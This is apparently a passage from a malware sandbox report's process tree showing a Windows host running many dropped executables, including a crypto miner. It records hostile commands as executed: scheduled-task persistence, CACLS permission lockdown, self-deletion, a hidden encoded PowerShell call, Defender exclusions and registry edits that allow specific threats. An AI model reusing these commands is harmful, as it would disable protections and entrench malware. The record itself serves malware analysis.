    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7AA9.tmp.bat""
    3⤵
    PID:424
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:5280
  - - C:\Users\Admin\AppData\Roaming\calc.exe
      "C:\Users\Admin\AppData\Roaming\calc.exe"
      4⤵
      PID:5164
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "calc" /tr '"C:\Users\Admin\AppData\Roaming\calc.exe"' & exit
    3⤵
    PID:2676
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "calc" /tr '"C:\Users\Admin\AppData\Roaming\calc.exe"'
      4⤵
      Creates scheduled task(s)
      PID:428
- C:\Users\Admin\AppData\Local\Temp\a\boblspsqgegf.exe
  "C:\Users\Admin\AppData\Local\Temp\a\boblspsqgegf.exe"
  2⤵
  PID:2972
- - C:\Windows\system32\taskkill.exe
    taskkill /im chrome.exe /T /F
    3⤵
    - Kills process with taskkill
    PID:4160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\AppData\Local\Temp\a\boblspsqgegf.exe
    3⤵
    PID:932
  - - C:\Windows\system32\choice.exe
      choice /C Y /N /D Y /T 0
      4⤵
      PID:2556
- C:\Users\Admin\AppData\Local\Temp\a\newumma.exe
  "C:\Users\Admin\AppData\Local\Temp\a\newumma.exe"
  2⤵
  PID:3536
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    PID:2184
  - - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
      "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
      4⤵
      PID:3936
- - C:\Users\Admin\AppData\Local\Temp\e0cbefcb1af40c7d4aff4aca26621a98.exe
    "C:\Users\Admin\AppData\Local\Temp\e0cbefcb1af40c7d4aff4aca26621a98.exe"
    3⤵
    PID:2980
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:228
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3536 -s 1436
    3⤵
    - Program crash
    PID:5128
- C:\Users\Admin\AppData\Local\Temp\a\ca.exe
  "C:\Users\Admin\AppData\Local\Temp\a\ca.exe"
  2⤵
  PID:4524
- C:\Users\Admin\AppData\Local\Temp\a\fra.exe
  "C:\Users\Admin\AppData\Local\Temp\a\fra.exe"
  2⤵
  PID:2544
- C:\Users\Admin\AppData\Local\Temp\a\bus50.exe
  "C:\Users\Admin\AppData\Local\Temp\a\bus50.exe"
  2⤵
  PID:4120
- - C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\xY3GK07.exe
    C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\xY3GK07.exe
    3⤵
    PID:4820
  - - C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\CH4ux13.exe
      C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\CH4ux13.exe
      4⤵
      PID:880
    - - C:\Users\Admin\AppData\Local\Temp\IXP007.TMP\oS3gV26.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP007.TMP\oS3gV26.exe
        5⤵
        
        PID:4080
      - C:\Users\Admin\AppData\Local\Temp\IXP008.TMP\xs2KE31.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP008.TMP\xs2KE31.exe
        6⤵
        
        PID:716
        
        C:\Users\Admin\AppData\Local\Temp\IXP009.TMP\Jl3KY37.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP009.TMP\Jl3KY37.exe
        7⤵
        
        PID:3040
        
        C:\Users\Admin\AppData\Local\Temp\IXP010.TMP\1pX17Bh0.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP010.TMP\1pX17Bh0.exe
        8⤵
        
        PID:2216
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        9⤵
        
        PID:316
        
        C:\Users\Admin\AppData\Local\Temp\IXP010.TMP\2rY7345.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP010.TMP\2rY7345.exe
        8⤵
        
        PID:204
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        9⤵
        
        PID:5472
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        9⤵
        
        PID:5488
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5488 -s 568
        10⤵
        Program crash
        
        PID:5636
        
        C:\Users\Admin\AppData\Local\Temp\IXP009.TMP\3jE06EN.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP009.TMP\3jE06EN.exe
        7⤵
        
        PID:5572
      - C:\Users\Admin\AppData\Local\Temp\IXP008.TMP\4Sq272cF.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP008.TMP\4Sq272cF.exe
        6⤵
        
        PID:5708
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        7⤵
        
        PID:5328
    - - C:\Users\Admin\AppData\Local\Temp\IXP007.TMP\5Zg1cy8.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP007.TMP\5Zg1cy8.exe
        5⤵
        
        PID:5452
      - C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"
        6⤵
        
        PID:3284
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F
        7⤵
        Creates scheduled task(s)
        
        PID:5580
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit
        7⤵
        
        PID:5828
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "explothe.exe" /P "Admin:N"
        8⤵
        
        PID:1116
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        8⤵
        
        PID:1980
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "explothe.exe" /P "Admin:R" /E
        8⤵
        
        PID:504
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        8⤵
        
        PID:4080
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\fefffe8cea" /P "Admin:N"
        8⤵
        
        PID:6000
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\fefffe8cea" /P "Admin:R" /E
        8⤵
        
        PID:6184
  - - C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\6Vs8Qw9.exe
      C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\6Vs8Qw9.exe
      4⤵
      PID:3056
- - C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\7BN2zR68.exe
    C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\7BN2zR68.exe
    3⤵
    PID:1568
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CD8C.tmp\CD8D.tmp\CD8E.bat C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\7BN2zR68.exe"
      4⤵
      PID:4260
- C:\Users\Admin\AppData\Local\Temp\a\Veeam.Backup.Service.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Veeam.Backup.Service.exe"
  2⤵
  PID:5760
- C:\Users\Admin\AppData\Local\Temp\a\shareu.exe
  "C:\Users\Admin\AppData\Local\Temp\a\shareu.exe"
  2⤵
  PID:5896
- C:\Users\Admin\AppData\Local\Temp\a\xmrig.exe
  "C:\Users\Admin\AppData\Local\Temp\a\xmrig.exe"
  2⤵
  PID:5804
- C:\Users\Admin\AppData\Local\Temp\a\WatchDog.exe
  "C:\Users\Admin\AppData\Local\Temp\a\WatchDog.exe"
  2⤵
  PID:6016
- C:\Users\Admin\AppData\Local\Temp\a\damianozx.exe
  "C:\Users\Admin\AppData\Local\Temp\a\damianozx.exe"
  2⤵
  PID:316
- C:\Users\Admin\AppData\Local\Temp\a\987123.exe
  "C:\Users\Admin\AppData\Local\Temp\a\987123.exe"
  2⤵
  PID:5800
- C:\Users\Admin\AppData\Local\Temp\a\ch.exe
  "C:\Users\Admin\AppData\Local\Temp\a\ch.exe"
  2⤵
  PID:2004
- C:\Users\Admin\AppData\Local\Temp\a\undergroundzx.exe
  "C:\Users\Admin\AppData\Local\Temp\a\undergroundzx.exe"
  2⤵
  PID:5932
- C:\Users\Admin\AppData\Local\Temp\a\Random.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Random.exe"
  2⤵
  PID:5360
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:4640
  - - C:\Users\Admin\Pictures\GO29YBFoLz3hQ3YIrznLjo1e.exe
      "C:\Users\Admin\Pictures\GO29YBFoLz3hQ3YIrznLjo1e.exe"
      4⤵
      PID:6396
  - - C:\Users\Admin\Pictures\dJlDAlSCXvyDoNgT9SZNQ5Kc.exe
      "C:\Users\Admin\Pictures\dJlDAlSCXvyDoNgT9SZNQ5Kc.exe" --silent --allusers=0
      4⤵
      PID:6420
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\dJlDAlSCXvyDoNgT9SZNQ5Kc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\dJlDAlSCXvyDoNgT9SZNQ5Kc.exe" --version
        5⤵
        
        PID:6988
    - - C:\Users\Admin\Pictures\dJlDAlSCXvyDoNgT9SZNQ5Kc.exe
        
        "C:\Users\Admin\Pictures\dJlDAlSCXvyDoNgT9SZNQ5Kc.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=6420 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20231025103737" --session-guid=7f642d84-63b4-494e-9230-83515e10d13f --server-tracking-blob=MWMyMmU3OGY5ZDI4ZTZmYmQwNGQ4YmM0MTIzOTZiZjU5NDRkOWQ3NjRjOWJmNjdmNGVlZTIyNWM2OGY0ZDEyODp7ImNvdW50cnkiOiJOTCIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTY5ODIzMDI0NC42NTM1IiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiIzZWUwYTU0Ni1iODk3LTRjZjItYmI5Zi00NzA4NjMwMzUyNGIifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=5004000000000000
        5⤵
        
        PID:6232
      - C:\Users\Admin\Pictures\dJlDAlSCXvyDoNgT9SZNQ5Kc.exe
        
        C:\Users\Admin\Pictures\dJlDAlSCXvyDoNgT9SZNQ5Kc.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=104.0.4944.28 --initial-client-data=0x2c0,0x2c4,0x2c8,0x290,0x2cc,0x68a85648,0x68a85658,0x68a85664
        6⤵
        
        PID:5940
  - - C:\Users\Admin\Pictures\ik6ImBxqThax5nLj94KZ1RG8.exe
      "C:\Users\Admin\Pictures\ik6ImBxqThax5nLj94KZ1RG8.exe"
      4⤵
      PID:6412
  - - C:\Users\Admin\Pictures\hZXnxy8BChNd0a1QqatPEI3h.exe
      "C:\Users\Admin\Pictures\hZXnxy8BChNd0a1QqatPEI3h.exe"
      4⤵
      PID:6404
  - - C:\Users\Admin\Pictures\tRt8NlRndW7KYojTImUP1mhO.exe
      "C:\Users\Admin\Pictures\tRt8NlRndW7KYojTImUP1mhO.exe"
      4⤵
      PID:6380
    - - C:\Users\Admin\Pictures\tRt8NlRndW7KYojTImUP1mhO.exe
        
        "C:\Users\Admin\Pictures\tRt8NlRndW7KYojTImUP1mhO.exe"
        5⤵
        
        PID:7068
  - - C:\Users\Admin\Pictures\6EPX5jPKbj66ML19MkKd9Nij.exe
      "C:\Users\Admin\Pictures\6EPX5jPKbj66ML19MkKd9Nij.exe"
      4⤵
      PID:6328
  - - C:\Users\Admin\Pictures\RPKhBxFDYLNtcXPWbngUvRcU.exe
      "C:\Users\Admin\Pictures\RPKhBxFDYLNtcXPWbngUvRcU.exe"
      4⤵
      PID:6368
  - - C:\Users\Admin\Pictures\GvCCZ0FCel9YU9iQ8a6ErhFq.exe
      "C:\Users\Admin\Pictures\GvCCZ0FCel9YU9iQ8a6ErhFq.exe"
      4⤵
      PID:6352
- C:\Users\Admin\AppData\Local\Temp\a\Ads.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Ads.exe"
  2⤵
  PID:5540
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:2676
  - - C:\Users\Admin\Pictures\eACcgWRs2Sfe6RHhx9OKGEPc.exe
      "C:\Users\Admin\Pictures\eACcgWRs2Sfe6RHhx9OKGEPc.exe"
      4⤵
      PID:6940
  - - C:\Users\Admin\Pictures\fGbXbD2npT9MnWlunyS8GkIW.exe
      "C:\Users\Admin\Pictures\fGbXbD2npT9MnWlunyS8GkIW.exe"
      4⤵
      PID:4416
  - - C:\Users\Admin\Pictures\G8D4RG9eDkXBuh3tsUV0K6tG.exe
      "C:\Users\Admin\Pictures\G8D4RG9eDkXBuh3tsUV0K6tG.exe" --silent --allusers=0
      4⤵
      PID:5168
    - - C:\Users\Admin\Pictures\G8D4RG9eDkXBuh3tsUV0K6tG.exe
        
        C:\Users\Admin\Pictures\G8D4RG9eDkXBuh3tsUV0K6tG.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=104.0.4944.28 --initial-client-data=0x2b4,0x2b8,0x2bc,0x290,0x2c0,0x68125648,0x68125658,0x68125664
        5⤵
        
        PID:6504
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\G8D4RG9eDkXBuh3tsUV0K6tG.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\G8D4RG9eDkXBuh3tsUV0K6tG.exe" --version
        5⤵
        
        PID:6072
  - - C:\Users\Admin\Pictures\y7rJRHIVzkkwUycMZV1lT48M.exe
      "C:\Users\Admin\Pictures\y7rJRHIVzkkwUycMZV1lT48M.exe"
      4⤵
      PID:6148
  - - C:\Users\Admin\Pictures\0kQmVc9lbdaKOvI1T7akbOSB.exe
      "C:\Users\Admin\Pictures\0kQmVc9lbdaKOvI1T7akbOSB.exe"
      4⤵
      PID:6324
  - - C:\Users\Admin\Pictures\X4fu7WvfrxUr1LyUOv3fHkZX.exe
      "C:\Users\Admin\Pictures\X4fu7WvfrxUr1LyUOv3fHkZX.exe"
      4⤵
      PID:5380
- C:\Users\Admin\AppData\Local\Temp\a\sogn.exe
  "C:\Users\Admin\AppData\Local\Temp\a\sogn.exe"
  2⤵
  PID:6008
- C:\Users\Admin\AppData\Local\Temp\a\arinzezx.exe
  "C:\Users\Admin\AppData\Local\Temp\a\arinzezx.exe"
  2⤵
  PID:5864
- - C:\Users\Admin\AppData\Local\Temp\a\arinzezx.exe
    "C:\Users\Admin\AppData\Local\Temp\a\arinzezx.exe"
    3⤵
    PID:7136
- C:\Users\Admin\AppData\Local\Temp\a\abun.exe
  "C:\Users\Admin\AppData\Local\Temp\a\abun.exe"
  2⤵
  PID:5376
- C:\Users\Admin\AppData\Local\Temp\a\obizx.exe
  "C:\Users\Admin\AppData\Local\Temp\a\obizx.exe"
  2⤵
  PID:2008
- C:\Users\Admin\AppData\Local\Temp\a\Qconngovaq.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Qconngovaq.exe"
  2⤵
  PID:6268
- C:\Users\Admin\AppData\Local\Temp\a\PO.pdf.exe
  "C:\Users\Admin\AppData\Local\Temp\a\PO.pdf.exe"
  2⤵
  PID:6724
- C:\Users\Admin\AppData\Local\Temp\a\DH.exe
  "C:\Users\Admin\AppData\Local\Temp\a\DH.exe"
  2⤵
  PID:5392

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4924
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:5028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:5076

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:4184

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:3320

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Rl7Cg2zJ.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Rl7Cg2zJ.exe
1⤵
PID:4408
- C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1RV00VM4.exe
  C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1RV00VM4.exe
  2⤵
  PID:204
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:3352
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3352 -s 568
      4⤵
      Program crash
      PID:1164
- C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2Mi738Bh.exe
  C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2Mi738Bh.exe
  2⤵
  PID:4360

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\iR2QG7vU.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\iR2QG7vU.exe
1⤵
PID:4668

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\nY0Sv8FG.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\nY0Sv8FG.exe
1⤵
PID:4536

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:704

C:\Users\Admin\AppData\Local\Temp\aBKjXYHBeJcAYhgyx\RrBxUxhHiVwxsZO\llaPFqF.exe
C:\Users\Admin\AppData\Local\Temp\aBKjXYHBeJcAYhgyx\RrBxUxhHiVwxsZO\llaPFqF.exe eM /Lzsite_idTyg 525403 /S
1⤵
PID:5724
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:5900
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2676
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:3416
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3040
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2728
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5352
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5164
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3848
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1364
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6132
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3544
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3564
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5484
- - C:\Windows\SysWOW64\reg.exe
